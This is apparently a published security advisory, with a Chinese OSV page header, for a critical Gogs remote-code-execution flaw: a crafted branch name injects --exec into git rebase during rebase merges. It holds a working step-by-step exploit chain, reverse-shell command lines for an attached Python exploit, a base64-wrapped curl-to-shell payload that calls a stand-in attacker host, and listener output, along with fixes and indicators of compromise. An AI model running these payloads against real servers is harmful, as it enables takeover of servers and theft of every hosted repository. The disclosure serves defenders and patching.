OSV 1.4.0 · github-reviewed · 修改于 2026-07-21 21:35
发布时间
2026-06-24 01:02
GitHub 审查时间
2026-06-24 01:02
NVD 发布时间
2026-06-25 05:16
源文件
advisories/github-reviewed/2026/06/GHSA-qf6p-p7ww-cwr9/GHSA-qf6p-p7ww-cwr9.json
git rebase --exec Argument Injection in PR MergeGogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the --exec flag into the git rebase command during the "Rebase before merging" merge operation.
Critical - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
b53d3162, main branch as of 2026-03-16)This is a privilege escalation from authenticated user to server-level code execution. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server:
git) has direct filesystem-level read/write access to every repository on the instance under a single REPOSITORY_ROOT directory (default: ~/gogs-repositories). There is no OS-level isolation between repositories; all access control is application-layer only.The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the user (UID 1000 by default).
gitThe severity is heightened because:
DISABLE_REGISTRATION = false, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker.PullsAllowRebase defaults to false, but this is irrelevant since any repo creator can enable it themselves.)The attacker needs one of the following:
Note: "Rebase before merging" is NOT enabled by default (PullsAllowRebase defaults to false in internal/database/repo.go:215). However:
/settings, action=advanced) requires reqRepoAdmin middleware (internal/cmd/web.go:472) - collaborators with only write access cannot enable it, but repo owners/admins canIn internal/database/pull.go, the Merge() function passes the PR's base branch name to git rebase as a positional argument without a -- separator:
if _, stderr, err = process.ExecDir(-1, tmpBasePath,
fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),
"git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {
The pr.BaseBranch value originates from the URL parameter in internal/route/repo/pull.go:
baseRef := infos[0] // from strings.Split(c.Params("*"), "...")
Both baseRef and headRef are validated via RevParse (defined in the external git-module library), but this only calls git rev-parse --verify <ref> - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the git rebase command without a -- separator.
Git branch names can legally contain characters $, {, }, =, -. The attacker creates a branch named:
--exec=touch${IFS}/tmp/rce_proof
When used as pr.BaseBranch in the rebase command:
git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'
--exec=touch${IFS}/tmp/rce_proof as the --exec flag--exec flag specifies a command to run via sh -c after each replayed commit${IFS} expands to a space in the shell, bypassing git's prohibition on spaces in branch namestouch /tmp/rce_proof executes as the Gogs server process userFor commands containing characters forbidden in git refs (:, ~, ^, ?, *, [, \, //), such as URLs, the attacker base64-encodes the payload:
--exec=echo${IFS}<base64>|base64${IFS}-d|sh
For example, curl https://attacker.com/shell.sh|sh becomes:
--exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh
This was validated end-to-end: a wget command with a URL executed inside the Docker container and wrote the fetched HTML to disk.
Merge()The MergeStyleRebase code path in Merge() executes these git commands sequentially:
| Step | Command | Result with malicious branch |
|---|---|---|
| 1 | git clone -b '<malicious>' <repo> <tmp> | Succeeds - -b consumes --exec=... as the branch value |
| 2 | git remote add head_repo <repo> + git fetch head_repo | Succeeds normally |
| 3 | git rebase --quiet '<malicious>' 'head_repo/feature' | RCE fires here - --exec=<cmd> parsed as flag, command runs via sh -c |
| 4 | git checkout -b <tmpBranch> | Succeeds (tmpBranch is a server-generated timestamp) |
| 5 | git checkout '<malicious>' | Fails - git interprets --exec=... as invalid option for checkout |
Step 5 failure causes Merge() to return an error (HTTP 500), but the RCE has already executed at Step 3. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs:
[E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'
This is logged via c.Error(err, "merge") at ERROR level.
The testPatch() function (called during PR creation at line 468) calls UpdateLocalCopyBranch(pr.BaseBranch) (internal/database/repo.go:658), which has two code paths:
git.Clone() (line 664), which includes --end-of-options → the malicious branch name is treated as data, clone succeeds, and testPatch completes normally.gitRepo.Checkout(branch) (line 684), which is missing --end-of-options → git interprets --exec=... as a flag → checkout fails → testPatch returns an error.The exploit relies on the following causal chain:
NewPullRequest, line 468), testPatch() is called. For a fresh repository with no local copy, the Clone path succeeds.testPatch didn't set the status to PullRequestStatusConflict, the status remains PullRequestStatusChecking, and the code at line 472-473 promotes it to PullRequestStatusMergeable.TestPullRequests goroutine (line 840) periodically re-checks PRs. When it calls testPatch again, the local copy now exists, so UpdateLocalCopyBranch takes the Checkout path → fails → returns an error.TestPullRequests to skip adding the PR to the update list (return nil at line 855) or skip checkAndUpdateStatus() (continue at line 877). Because checkAndUpdateStatus is never called, the PR status remains at Mergeable indefinitely.The PoC handles this by creating a fresh repository (no local copy exists yet), ensuring the first testPatch succeeds via the Clone path.
A standalone Python exploit (gogs-rebase-rce.py) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, requests, and a local git installation.
# Reverse shell (Linux)
python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT>
# Reverse shell (Windows)
python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l <LHOST> -x <LPORT> --os windows
# Custom command
python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id > /tmp/pwned'
# Version fingerprint only (no exploit)
python3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check
Run the PoC with a reverse shell payload:
python3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337
[*] Fingerprinting target...
[+] Gogs 0.14.2 detected
[*] Authenticating as "attacker"
[+] Authenticated
[*] Creating repository
[+] Repository xxxx-yyyy created
[*] Enabling rebase merge
[+] Rebase merge enabled
[*] Pushing branches via git
[+] Branches pushed
[*] Creating pull request
[+] PR #1 created
[*] Triggering rebase merge - RCE fires now!
[+] Rebase merge triggered
Checking the listener:
$ nc -nlvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43240
$ whoami
git
This can be reproduced entirely through the Gogs web UI:
Prerequisites: A running Gogs instance (e.g., http://localhost:3080) with a registered user account.
Step 1: Create a repository and push branches
# Create repo via Gogs API
curl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \
-H 'Content-Type: application/json' -d '{"name":"demo"}'
# Set up local repo with divergent branches
mkdir /tmp/demo && cd /tmp/demo && git init
git config user.email "[email protected]" && git config user.name "attacker"
echo "# Demo" > README.md && git add . && git commit -m "Initial commit"
git checkout -b feature
echo "feature" > feature.txt && git add . && git commit -m "Add feature"
git checkout master
echo "update" >> README.md && git add . && git commit -m "Update master"
# Create the malicious branch (same commit as master)
git update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD
# Push all branches
git remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git
git push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF'
Step 2: Enable rebase in repo settings
http://localhost:3080/attacker/demo/settings(Or update the database directly: UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';)
Step 3: Create the Pull Request
Navigate to the compare URL (base = malicious branch, head = feature):
http://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature
Enter a title (e.g., "RCE PoC") and click New Pull Request.
Step 4: Wait for testPatch (~5 seconds)
The background TestPullRequests goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear.
Step 5: Trigger the merge
/attacker/demo/pulls/1), select Rebase before merginggit checkout of the malicious branch name fails after rebase)Step 6: Verify RCE
$ ls -la /tmp/BROWSER_RCE_PROOF
-rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF
The file was created by the Gogs server process during git rebase --exec
-- separator// internal/database/pull.go line 282
"git", "rebase", "--quiet", "--", pr.BaseBranch, remoteHeadBranch
Reject base branch names starting with - at the PR creation endpoint:
// internal/route/repo/pull.go, after line 447
if strings.HasPrefix(baseRef, "-") {
c.NotFound()
return nil, nil, nil, nil, "", ""
}
Apply -- separators to all other process.ExecDir calls in Merge() that use pr.BaseBranch:
git clone -b pr.BaseBranch (not directly exploitable but should be hardened)git checkout pr.BaseBranch (currently fails, but should use -- pr.BaseBranch)git push <repo> pr.BaseBranch (should use -- separator)This vulnerability is an incomplete fix bypass of the Category A argument injection invariant that Gogs has been patching across multiple advisories:
| Advisory | CVE | Description | Fix Applied |
|---|---|---|---|
| GHSA-m27m-h5gj-wwmg | CVE-2024-39933 | Argument injection when tagging new releases | Added -- separator to git tag |
| GHSA-9pp6-wq8c-3w2c | CVE-2024-39932 | Argument injection during changes preview | Added --end-of-options to git diff |
| GHSA-v9vm-r24h-6rqm | CVE-2026-26194 | Release tag option injection in deletion | Migrated to safe git-module API |
| GHSA-vm62-9jw3-c8w3 | CVE-2024-39930 | Argument injection in built-in SSH server | Added -- separator to git upload-pack / git receive-pack |
The git-module library (v1.8.7) was hardened with --end-of-options in Clone(), Push(), Fetch(), and 28 other call sites. However, the Merge() function in internal/database/pull.go bypasses all of these protections because it uses raw process.ExecDir (which wraps exec.Command directly) instead of the safe git-module API. The git rebase call was never migrated.
Notably, git-module.Checkout() is also missing --end-of-options — a separate gap that incidentally causes the testPatch race condition this exploit leverages (see "Why the PR Becomes Mergeable" above).
The vulnerability has been confirmed on:
On Windows, the base64 inline payload approach fails because NTFS forbids the | character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes --exec=sh${IFS}<filename>. An sh wrapper invokes cmd.exe //c <payload>.bat to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically.
b53d3162)Jonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7